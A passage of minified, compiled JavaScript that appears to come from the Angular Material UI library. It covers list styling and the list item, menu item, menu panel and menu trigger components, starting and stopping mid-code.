.mat-list-base .mat-list-item .mat-divider,[dir=rtl] .mat-list-base .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-list-base[dense]{padding-top:4px;display:block}.mat-list-base[dense] .mat-subheader{height:40px;line-height:8px}.mat-list-base[dense] .mat-subheader:first-child{margin-top:-4px}.mat-list-base[dense] .mat-list-item,.mat-list-base[dense] .mat-list-option{display:block;height:40px;-webkit-tap-highlight-color:rgba(0,0,0,0);width:100%;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-item-content,.mat-list-base[dense] .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base[dense] .mat-list-item .mat-list-item-content-reverse,.mat-list-base[dense] .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base[dense] .mat-list-item .mat-list-item-ripple,.mat-list-base[dense] .mat-list-option .mat-list-item-ripple{display:block;top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar{height:48px}.mat-list-base[dense] .mat-list-item.mat-2-line,.mat-list-base[dense] .mat-list-option.mat-2-line{height:60px}.mat-list-base[dense] .mat-list-item.mat-3-line,.mat-list-base[dense] .mat-list-option.mat-3-line{height:76px}.mat-list-base[dense] .mat-list-item.mat-multi-line,.mat-list-base[dense] .mat-list-option.mat-multi-line{height:auto}.mat-list-base[dense] .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base[dense] .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base[dense] .mat-list-item .mat-list-text,.mat-list-base[dense] .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-text>*,.mat-list-base[dense] .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base[dense] .mat-list-item .mat-list-text:empty,.mat-list-base[dense] .mat-list-option .mat-list-text:empty{display:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base[dense] .mat-list-item .mat-list-avatar,.mat-list-base[dense] .mat-list-option .mat-list-avatar{flex-shrink:0;width:36px;height:36px;border-radius:50%;object-fit:cover}.mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:68px;width:calc(100% - 68px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:68px}.mat-list-base[dense] .mat-list-item .mat-list-icon,.mat-list-base[dense] .mat-list-option .mat-list-icon{flex-shrink:0;width:20px;height:20px;font-size:20px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:60px;width:calc(100% - 60px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:60px}.mat-list-base[dense] .mat-list-item .mat-divider,.mat-list-base[dense] .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-divider,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base[dense] .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-nav-list a{text-decoration:none;color:inherit}.mat-nav-list .mat-list-item{cursor:pointer;outline:none}mat-action-list .mat-list-item{cursor:pointer;outline:inherit}.mat-list-option:not(.mat-list-item-disabled){cursor:pointer;outline:none}.mat-list-item-disabled{pointer-events:none}.cdk-high-contrast-active .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active :host .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active .mat-list-option:hover,.cdk-high-contrast-active .mat-nav-list .mat-list-item:hover,.cdk-high-contrast-active mat-action-list .mat-list-item:hover{outline:dotted 1px;z-index:1}.cdk-high-contrast-active .mat-list-single-selected-option::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}.cdk-high-contrast-active [dir=rtl] .mat-list-single-selected-option::after{right:auto;left:16px}@media(hover: none){.mat-list-option:not(.mat-list-single-selected-option):not(.mat-list-item-disabled):hover,.mat-nav-list .mat-list-item:not(.mat-list-item-disabled):hover,.mat-action-list .mat-list-item:not(.mat-list-item-disabled):hover{background:none}}\'],encapsulation:2,changeDetection:0}),De})(),je=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-list-avatar",""],["","matListAvatar",""]],hostAttrs:[1,"mat-list-avatar"]}),De})(),Ze=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-list-icon",""],["","matListIcon",""]],hostAttrs:[1,"mat-list-icon"]}),De})(),le=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-subheader",""],["","matSubheader",""]],hostAttrs:[1,"mat-subheader"]}),De})(),Oe=(()=>{class De extends se{constructor(ve,We,xt,Be){super(),this._element=ve,this._isInteractiveList=!1,this._destroyed=new c.xQ,this._disabled=!1,this._isInteractiveList=!!(xt||Be&&"action-list"===Be._getListType()),this._list=xt||Be;const pe=this._getHostElement();"button"===pe.nodeName.toLowerCase()&&!pe.hasAttribute("type")&&pe.setAttribute("type","button"),this._list&&this._list._stateChanges.pipe((0,f.R)(this._destroyed)).subscribe(()=>{We.markForCheck()})}get disabled(){return this._disabled||!(!this._list||!this._list.disabled)}set disabled(ve){this._disabled=(0,u.Ig)(ve)}ngAfterContentInit(){(0,s.E0)(this._lines,this._element)}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_isRippleDisabled(){return!this._isInteractiveList||this.disableRipple||!(!this._list||!this._list.disableRipple)}_getHostElement(){return this._element.nativeElement}}return De.\\u0275fac=function(ve){return new(ve||De)(a.Y36(a.SBq),a.Y36(a.sBO),a.Y36(q,8),a.Y36(ee,8))},De.\\u0275cmp=a.Xpm({type:De,selectors:[["mat-list-item"],["a","mat-list-item",""],["button","mat-list-item",""]],contentQueries:function(ve,We,xt){if(1&ve&&(a.Suo(xt,je,5),a.Suo(xt,Ze,5),a.Suo(xt,s.X2,5)),2&ve){let Be;a.iGM(Be=a.CRH())&&(We._avatar=Be.first),a.iGM(Be=a.CRH())&&(We._icon=Be.first),a.iGM(Be=a.CRH())&&(We._lines=Be)}},hostAttrs:[1,"mat-list-item","mat-focus-indicator"],hostVars:4,hostBindings:function(ve,We){2&ve&&a.ekj("mat-list-item-disabled",We.disabled)("mat-list-item-with-avatar",We._avatar||We._icon)},inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matListItem"],features:[a.qOj],ngContentSelectors:G,decls:6,vars:2,consts:[[1,"mat-list-item-content"],["mat-ripple","",1,"mat-list-item-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-list-text"]],template:function(ve,We){1&ve&&(a.F$t(U),a.TgZ(0,"span",0),a._UZ(1,"span",1),a.Hsn(2),a.TgZ(3,"span",2),a.Hsn(4,1),a.qZA(),a.Hsn(5,2),a.qZA()),2&ve&&(a.xp6(1),a.Q6J("matRippleTrigger",We._getHostElement())("matRippleDisabled",We._isRippleDisabled()))},dependencies:[s.wG],encapsulation:2,changeDetection:0}),De})(),ze=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275mod=a.oAB({type:De}),De.\\u0275inj=a.cJS({imports:[s.uc,s.si,s.BQ,s.us,n.ez,s.uc,s.BQ,s.us,z.t]}),De})()},8255:(At,ae,d)=>{"use strict";d.d(ae,{OP:()=>re,Tx:()=>Et,VK:()=>pe,p6:()=>Je});var n=d(2687),a=d(1281),s=d(9521),u=d(4650),c=d(8929),f=d(2654),E=d(6787),_=d(1086),S=d(8139),g=d(1059),C=d(7545),z=d(2986),H=d(7625),j=d(2198),U=d(8583),G=d(7340),Q=d(4080),oe=d(6895),Ce=d(3238),k=d(445),K=d(8184),se=d(3353),ee=d(7261);const q=["mat-menu-item",""];function we(Dt,Pt){1&Dt&&(u.O4$(),u.TgZ(0,"svg",2),u._UZ(1,"polygon",3),u.qZA())}const ce=["*"];function je(Dt,Pt){if(1&Dt){const Ie=u.EpF();u.TgZ(0,"div",0),u.NdJ("keydown",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._handleKeydown(x))})("click",function(){u.CHM(Ie);const x=u.oxw();return u.KtG(x.closed.emit("click"))})("@transformMenu.start",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._onAnimationStart(x))})("@transformMenu.done",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._onAnimationDone(x))}),u.TgZ(1,"div",1),u.Hsn(2),u.qZA()()}if(2&Dt){const Ie=u.oxw();u.Q6J("id",Ie.panelId)("ngClass",Ie._classList)("@transformMenu",Ie._panelAnimationState),u.uIk("aria-label",Ie.ariaLabel||null)("aria-labelledby",Ie.ariaLabelledby||null)("aria-describedby",Ie.ariaDescribedby||null)}}const Ze={transformMenu:(0,G.X$)("transformMenu",[(0,G.SB)("void",(0,G.oB)({opacity:0,transform:"scale(0.8)"})),(0,G.eR)("void => enter",(0,G.jt)("120ms cubic-bezier(0, 0, 0.2, 1)",(0,G.oB)({opacity:1,transform:"scale(1)"}))),(0,G.eR)("* => void",(0,G.jt)("100ms 25ms linear",(0,G.oB)({opacity:0})))]),fadeInItems:(0,G.X$)("fadeInItems",[(0,G.SB)("showing",(0,G.oB)({opacity:1})),(0,G.eR)("void => *",[(0,G.oB)({opacity:0}),(0,G.jt)("400ms 100ms cubic-bezier(0.55, 0, 0.55, 0.2)")])])},Qe=new u.OlP("MatMenuContent"),ze=new u.OlP("MAT_MENU_PANEL"),De=(0,Ce.Kr)((0,Ce.Id)(class{}));let re=(()=>{class Dt extends De{constructor(Ie,te,x,m,b){super(),this._elementRef=Ie,this._document=te,this._focusMonitor=x,this._parentMenu=m,this._changeDetectorRef=b,this.role="menuitem",this._hovered=new c.xQ,this._focused=new c.xQ,this._highlighted=!1,this._triggersSubmenu=!1,m?.addItem?.(this)}focus(Ie,te){this._focusMonitor&&Ie?this._focusMonitor.focusVia(this._getHostElement(),Ie,te):this._getHostElement().focus(te),this._focused.next(this)}ngAfterViewInit(){this._focusMonitor&&this._focusMonitor.monitor(this._elementRef,!1)}ngOnDestroy(){this._focusMonitor&&this._focusMonitor.stopMonitoring(this._elementRef),this._parentMenu&&this._parentMenu.removeItem&&this._parentMenu.removeItem(this),this._hovered.complete(),this._focused.complete()}_getTabIndex(){return this.disabled?"-1":"0"}_getHostElement(){return this._elementRef.nativeElement}_checkDisabled(Ie){this.disabled&&(Ie.preventDefault(),Ie.stopPropagation())}_handleMouseEnter(){this._hovered.next(this)}getLabel(){const Ie=this._elementRef.nativeElement.cloneNode(!0),te=Ie.querySelectorAll("mat-icon, .material-icons");for(let x=0;x<te.length;x++)te[x].remove();return Ie.textContent?.trim()||""}_setHighlighted(Ie){this._highlighted=Ie,this._changeDetectorRef?.markForCheck()}_hasFocus(){return this._document&&this._document.activeElement===this._getHostElement()}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(oe.K0),u.Y36(n.tE),u.Y36(ze,8),u.Y36(u.sBO))},Dt.\\u0275cmp=u.Xpm({type:Dt,selectors:[["","mat-menu-item",""]],hostAttrs:[1,"mat-focus-indicator"],hostVars:10,hostBindings:function(Ie,te){1&Ie&&u.NdJ("click",function(m){return te._checkDisabled(m)})("mouseenter",function(){return te._handleMouseEnter()}),2&Ie&&(u.uIk("role",te.role)("tabindex",te._getTabIndex())("aria-disabled",te.disabled.toString())("disabled",te.disabled||null),u.ekj("mat-menu-item",!0)("mat-menu-item-highlighted",te._highlighted)("mat-menu-item-submenu-trigger",te._triggersSubmenu))},inputs:{disabled:"disabled",disableRipple:"disableRipple",role:"role"},exportAs:["matMenuItem"],features:[u.qOj],attrs:q,ngContentSelectors:ce,decls:3,vars:3,consts:[["matRipple","",1,"mat-menu-ripple",3,"matRippleDisabled","matRippleTrigger"],["class","mat-menu-submenu-icon","viewBox","0 0 5 10","focusable","false",4,"ngIf"],["viewBox","0 0 5 10","focusable","false",1,"mat-menu-submenu-icon"],["points","0,0 5,5 0,10"]],template:function(Ie,te){1&Ie&&(u.F$t(),u.Hsn(0),u._UZ(1,"div",0),u.YNc(2,we,2,0,"svg",1)),2&Ie&&(u.xp6(1),u.Q6J("matRippleDisabled",te.disableRipple||te.disabled)("matRippleTrigger",te._getHostElement()),u.xp6(1),u.Q6J("ngIf",te._triggersSubmenu))},dependencies:[oe.O5,Ce.wG],encapsulation:2,changeDetection:0}),Dt})();const ve=new u.OlP("mat-menu-default-options",{providedIn:"root",factory:function We(){return{overlapTrigger:!1,xPosition:"after",yPosition:"below",backdropClass:"cdk-overlay-transparent-backdrop"}}});let xt=0,Be=(()=>{class Dt{constructor(Ie,te,x,m){this._elementRef=Ie,this._ngZone=te,this._defaultOptions=x,this._changeDetectorRef=m,this._xPosition=this._defaultOptions.xPosition,this._yPosition=this._defaultOptions.yPosition,this._directDescendantItems=new u.n_E,this._tabSubscription=f.w.EMPTY,this._classList={},this._panelAnimationState="void",this._animationDone=new c.xQ,this.overlayPanelClass=this._defaultOptions.overlayPanelClass||"",this.backdropClass=this._defaultOptions.backdropClass,this._overlapTrigger=this._defaultOptions.overlapTrigger,this._hasBackdrop=this._defaultOptions.hasBackdrop,this.closed=new u.vpe,this.close=this.closed,this.panelId="mat-menu-panel-"+xt++}get xPosition(){return this._xPosition}set xPosition(Ie){this._xPosition=Ie,this.setPositionClasses()}get yPosition(){return this._yPosition}set yPosition(Ie){this._yPosition=Ie,this.setPositionClasses()}get overlapTrigger(){return this._overlapTrigger}set overlapTrigger(Ie){this._overlapTrigger=(0,a.Ig)(Ie)}get hasBackdrop(){return this._hasBackdrop}set hasBackdrop(Ie){this._hasBackdrop=(0,a.Ig)(Ie)}set panelClass(Ie){const te=this._previousPanelClass;te&&te.length&&te.split(" ").forEach(x=>{this._classList[x]=!1}),this._previousPanelClass=Ie,Ie&&Ie.length&&(Ie.split(" ").forEach(x=>{this._classList[x]=!0}),this._elementRef.nativeElement.className="")}get classList(){return this.panelClass}set classList(Ie){this.panelClass=Ie}ngOnInit(){this.setPositionClasses()}ngAfterContentInit(){this._updateDirectDescendants(),this._keyManager=new n.Em(this._directDescendantItems).withWrap().withTypeAhead().withHomeAndEnd(),this._tabSubscription=this._keyManager.tabOut.subscribe(()=>this.closed.emit("tab")),this._directDescendantItems.changes.pipe((0,g.O)(this._directDescendantItems),(0,C.w)(Ie=>(0,E.T)(...Ie.map(te=>te._focused)))).subscribe(Ie=>this._keyManager.updateActiveItem(Ie)),this._directDescendantItems.changes.subscribe(Ie=>{const te=this._keyManager;if("enter"===this._panelAnimationState&&te.activeItem?._hasFocus()){const x=Ie.toArray(),m=Math.max(0,Math.min(x.length-1,te.activeItemIndex||0));x[m]&&!x[m].disabled?te.setActiveItem(m):te.setNextItemActive()}})}ngOnDestroy(){this._directDescendantItems.destroy(),this._tabSubscription.unsubscribe(),this.closed.complete()}_hovered(){return this._directDescendantItems.changes.pipe((0,g.O)(this._directDescendantItems),(0,C.w)(te=>(0,E.T)(...te.map(x=>x._hovered))))}addItem(Ie){}removeItem(Ie){}_handleKeydown(Ie){const te=Ie.keyCode,x=this._keyManager;switch(te){case s.hY:(0,s.Vb)(Ie)||(Ie.preventDefault(),this.closed.emit("keydown"));break;case s.oh:this.parentMenu&&"ltr"===this.direction&&this.closed.emit("keydown");break;case s.SV:this.parentMenu&&"rtl"===this.direction&&this.closed.emit("keydown");break;default:return(te===s.LH||te===s.JH)&&x.setFocusOrigin("keyboard"),void x.onKeydown(Ie)}Ie.stopPropagation()}focusFirstItem(Ie="program"){this._ngZone.onStable.pipe((0,z.q)(1)).subscribe(()=>{let te=null;if(this._directDescendantItems.length&&(te=this._directDescendantItems.first._getHostElement().closest(\'[role="menu"]\')),!te||!te.contains(document.activeElement)){const x=this._keyManager;x.setFocusOrigin(Ie).setFirstItemActive(),!x.activeItem&&te&&te.focus()}})}resetActiveItem(){this._keyManager.setActiveItem(-1)}setElevation(Ie){const te=Math.min(this._baseElevation+Ie,24),x=`${this._elevationPrefix}${te}`,m=Object.keys(this._classList).find(b=>b.startsWith(this._elevationPrefix));(!m||m===this._previousElevation)&&(this._previousElevation&&(this._classList[this._previousElevation]=!1),this._classList[x]=!0,this._previousElevation=x)}setPositionClasses(Ie=this.xPosition,te=this.yPosition){const x=this._classList;x["mat-menu-before"]="before"===Ie,x["mat-menu-after"]="after"===Ie,x["mat-menu-above"]="above"===te,x["mat-menu-below"]="below"===te,this._changeDetectorRef?.markForCheck()}_startAnimation(){this._panelAnimationState="enter"}_resetAnimation(){this._panelAnimationState="void"}_onAnimationDone(Ie){this._animationDone.next(Ie),this._isAnimating=!1}_onAnimationStart(Ie){this._isAnimating=!0,"enter"===Ie.toState&&0===this._keyManager.activeItemIndex&&(Ie.element.scrollTop=0)}_updateDirectDescendants(){this._allItems.changes.pipe((0,g.O)(this._allItems)).subscribe(Ie=>{this._directDescendantItems.reset(Ie.filter(te=>te._parentMenu===this)),this._directDescendantItems.notifyOnChanges()})}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(u.R0b),u.Y36(ve),u.Y36(u.sBO))},Dt.\\u0275dir=u.lG2({type:Dt,contentQueries:function(Ie,te,x){if(1&Ie&&(u.Suo(x,Qe,5),u.Suo(x,re,5),u.Suo(x,re,4)),2&Ie){let m;u.iGM(m=u.CRH())&&(te.lazyContent=m.first),u.iGM(m=u.CRH())&&(te._allItems=m),u.iGM(m=u.CRH())&&(te.items=m)}},viewQuery:function(Ie,te){if(1&Ie&&u.Gf(u.Rgc,5),2&Ie){let x;u.iGM(x=u.CRH())&&(te.templateRef=x.first)}},inputs:{backdropClass:"backdropClass",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],xPosition:"xPosition",yPosition:"yPosition",overlapTrigger:"overlapTrigger",hasBackdrop:"hasBackdrop",panelClass:["class","panelClass"],classList:"classList"},outputs:{closed:"closed",close:"close"}}),Dt})(),pe=(()=>{class Dt extends Be{constructor(Ie,te,x,m){super(Ie,te,x,m),this._elevationPrefix="mat-elevation-z",this._baseElevation=4}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(u.R0b),u.Y36(ve),u.Y36(u.sBO))},Dt.\\u0275cmp=u.Xpm({type:Dt,selectors:[["mat-menu"]],hostVars:3,hostBindings:function(Ie,te){2&Ie&&u.uIk("aria-label",null)("aria-labelledby",null)("aria-describedby",null)},exportAs:["matMenu"],features:[u._Bn([{provide:ze,useExisting:Dt}]),u.qOj],ngContentSelectors:ce,decls:1,vars:0,consts:[["tabindex","-1","role","menu",1,"mat-menu-panel",3,"id","ngClass","keydown","click"],[1,"mat-menu-content"]],template:function(Ie,te){1&Ie&&(u.F$t(),u.YNc(0,je,3,6,"ng-template"))},dependencies:[oe.mk],styles:[\'mat-menu{display:none}.mat-menu-panel{min-width:112px;max-width:280px;overflow:auto;-webkit-overflow-scrolling:touch;max-height:calc(100vh - 48px);border-radius:4px;outline:0;min-height:64px;position:relative}.mat-menu-panel.ng-animating{pointer-events:none}.cdk-high-contrast-active .mat-menu-panel{outline:solid 1px}.mat-menu-content:not(:empty){padding-top:8px;padding-bottom:8px}.mat-menu-item{-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative}.mat-menu-item::-moz-focus-inner{border:0}.mat-menu-item[disabled]{cursor:default}[dir=rtl] .mat-menu-item{text-align:right}.mat-menu-item .mat-icon{margin-right:16px;vertical-align:middle}.mat-menu-item .mat-icon svg{vertical-align:top}[dir=rtl] .mat-menu-item .mat-icon{margin-left:16px;margin-right:0}.mat-menu-item[disabled]::after{display:block;position:absolute;content:"";top:0;left:0;bottom:0;right:0}.cdk-high-contrast-active .mat-menu-item{margin-top:1px}.mat-menu-item-submenu-trigger{padding-right:32px}[dir=rtl] .mat-menu-item-submenu-trigger{padding-right:16px;padding-left:32px}.mat-menu-submenu-icon{position:absolute;top:50%;right:16px;transform:translateY(-50%);width:5px;height:10px;fill:currentColor}[dir=rtl] .mat-menu-submenu-icon{right:auto;left:16px;transform:translateY(-50%) scaleX(-1)}.cdk-high-contrast-active .mat-menu-submenu-icon{fill:CanvasText}button.mat-menu-item{width:100%}.mat-menu-item .mat-menu-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}\'],encapsulation:2,data:{animation:[Ze.transformMenu,Ze.fadeInItems]},changeDetection:0}),Dt})();const P=new u.OlP("mat-menu-scroll-strategy"),R={provide:P,deps:[K.aV],useFactory:function w(Dt){return()=>Dt.scrollStrategies.reposition()}},_e=(0,se.i$)({passive:!0});let ct=(()=>{class Dt{constructor(Ie,te,x,m,b,B,ie,Xe,it){this._overlay=Ie,this._element=te,this._viewContainerRef=x,this._menuItemInstance=B,this._dir=ie,this._focusMonitor=Xe,this._ngZone=it,this._overlayRef=null,this._menuOpen=!1,this._closingActionsSubscription=f.w.EMPTY,this._hoverSubscription=f.w.EMPTY,this._menuCloseSubscription=f.w.EMPTY,this._handleTouchStart=wt=>{(0,n.yG)(wt)||(this._openedBy="touch")},this._openedBy=void 0,this.restoreFocus=!0,this.menuOpened=new u.vpe,this.onMenuOpen=this.menuOpened,this.menuClosed=new u.vpe,this.onMenuClose=this.menuClosed,this._scrollStrategy=m,this._parentMaterialMenu=b instanceof Be?b:void 0,te.nativeElement.addEventListener("touchstart",this._handleTouchStart,_e),B&&(B._triggersSubmenu=this.triggersSubmenu())}get _deprecatedMatMenuTriggerFor(){return this.menu}set _deprecatedMatMenuTriggerFor(Ie){this.menu=Ie}get menu(){return this._menu}set menu(Ie){Ie!==this._menu&&(this._menu=Ie,this._menuCloseSubscription.unsubscribe(),Ie&&(this._menuCloseSubscription=Ie.close.subscribe(te=>{this._destroyMenu(te),("click"===te||"tab"===te)&&this._parentMaterialMenu&&this._parentMaterialMenu.closed.emit(te)})))}ngAfterContentInit(){this._handleHover()}ngOnDestroy(){this._overlayRef&&(this._overlayRef.dispose(),this._overlayRef=null),this._element.nativeElement.removeEventListener("touchstart",this._handleTouchStart,_e),this._menuCloseSubscription.unsubscribe(),this._closingActionsSubscription.unsubscribe(),this._hoverSubscription.unsubscribe()}get menuOpen(){return this._menuOpen}get dir(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}triggersSubmenu(){return!(!this._menuItemInstance||!this._parentMaterialMenu)}toggleMenu(){return this._menuOpen?this.closeMenu():this.openMenu()}openMenu(){const Ie=this.menu;if(this._menuOpen||!Ie)return;const te=this._createOverlay(Ie),x=te.getConfig(),m=x.positionStrategy;this._setPosition(Ie,m),x.hasBackdrop=null==Ie.hasBackdrop?!this.triggersSubmenu():Ie.hasBackdrop,te.attach(this._getPortal(Ie)),Ie.lazyContent&&Ie.lazyContent.attach(this.menuData),this._closingActionsSubscription=this._menuClosingActions().subscribe(()=>this.closeMenu()),this._initMenu(Ie),Ie instanceof Be&&(Ie._startAnimation(),Ie._directDescendantItems.changes.pipe((0,H.R)(Ie.close)).subscribe(()=>{m.withLockedPosition(!1).reapplyLastPosition(),m.withLockedPosition(!0)}))}closeMenu(){this.menu?.close.emit()}focus(Ie,te){this._focusMonitor&&Ie?this._focusMonitor.focusVia(this._element,Ie,te):this._element.nativeElement.focus(te)}updatePosition(){this._overlayRef?.updatePosition()}_destroyMenu(Ie){if(!this._overlayRef||!this.menuOpen)return;const te=this.menu;this._closingActionsSubscription.unsubscribe(),this._overlayRef.detach(),this.restoreFocus&&("keydown"===Ie||!this._openedBy||!this.triggersSubmenu())&&this.focus(this._openedBy),this._openedBy=void 0,te instanceof Be?(te._resetAnimation(),te.lazyContent?te._animationDone.pipe((0,j.h)(x=>"void"===x.toState),(0,z.q)(1),(0,H.R)(te.lazyContent._attached)).subscribe({next:()=>te.lazyContent.detach(),complete:()=>this._setIsMenuOpen(!1)}):this._setIsMenuOpen(!1)):(this._setIsMenuOpen(!1),te?.lazyContent?.detach())}_initMenu(Ie){Ie.parentMenu=this.triggersSubmenu()?this._parentMaterialMenu:void 0,Ie.direction=this.dir,this._setMenuElevation(Ie),Ie.focusFirstItem(this._openedBy||"program"),this._setIsMenuOpen(!0)}_setMenuElevation(Ie){if(Ie.setElevation){let te=0,x=Ie.parentMenu;for(;x;)te++,x=x.parentMenu;Ie.setElevation(te)}}_setIsMenuOpen(Ie){this._menuOpen=Ie,this._menuOpen?this.menuOpened.emit():this.menuClosed.emit(),this.triggersSubmenu()&&this._menuItemInstance._setHighlighted(Ie)}_createOverlay(Ie){if(!this._overlayRef){const te=this._getOverlayConfig(Ie);this._subscribeToPositions(Ie,te.positionStrategy),this._overlayRef=this._overlay.create(te),this._overlayRef.keydownEvents().subscribe()}return this._overlayRef}_getOverlayConfig(Ie){return new K.X_({positionStrategy:this._overlay.position().flexibleConnectedTo(this._element).withLockedPosition().withGrowAfterOpen().withTransformOriginOn(".mat-menu-panel, .mat-mdc-menu-panel"),backdropClass:Ie.backdropClass||"cdk-overlay-transparent-backdrop",panelClass:Ie.overlayPanelClass,scrollStrategy:this._scrollStrategy(),direction:this._dir})}_subscribeToPositions(Ie,te){Ie.setPositionClasses&&te.positionChanges.subscribe(x=>{const m="start"===x.connectionPair.overlayX?"after":"before",b="top"===x.connectionPair.overlayY?"below":"above";this._ngZone?this._ngZone.run(()=>Ie.setPositionClasses(m,b)):Ie.setPositionClasses(m,b)})}_setPosition(Ie,te){let[x,m]="before"===Ie.xPosition?["end","start"]:["start","end"],[b,B]="above"===Ie.yPosition?["bottom","top"]:["top","bottom"],[ie,Xe]=[b,B],[it,wt]=[x,m],Vt=0;if(this.triggersSubmenu()){if(wt=x="before"===Ie.xPosition?"start":"end",m=it="end"===x?"start":"end",this._parentMaterialMenu){if(null==this._parentInnerPadding){const Gt=this._parentMaterialMenu.items.first;this._parentInnerPadding=Gt?Gt._getHostElement().offsetTop:0}Vt="bottom"===b?this._parentInnerPadding:-this._parentInnerPadding}}else 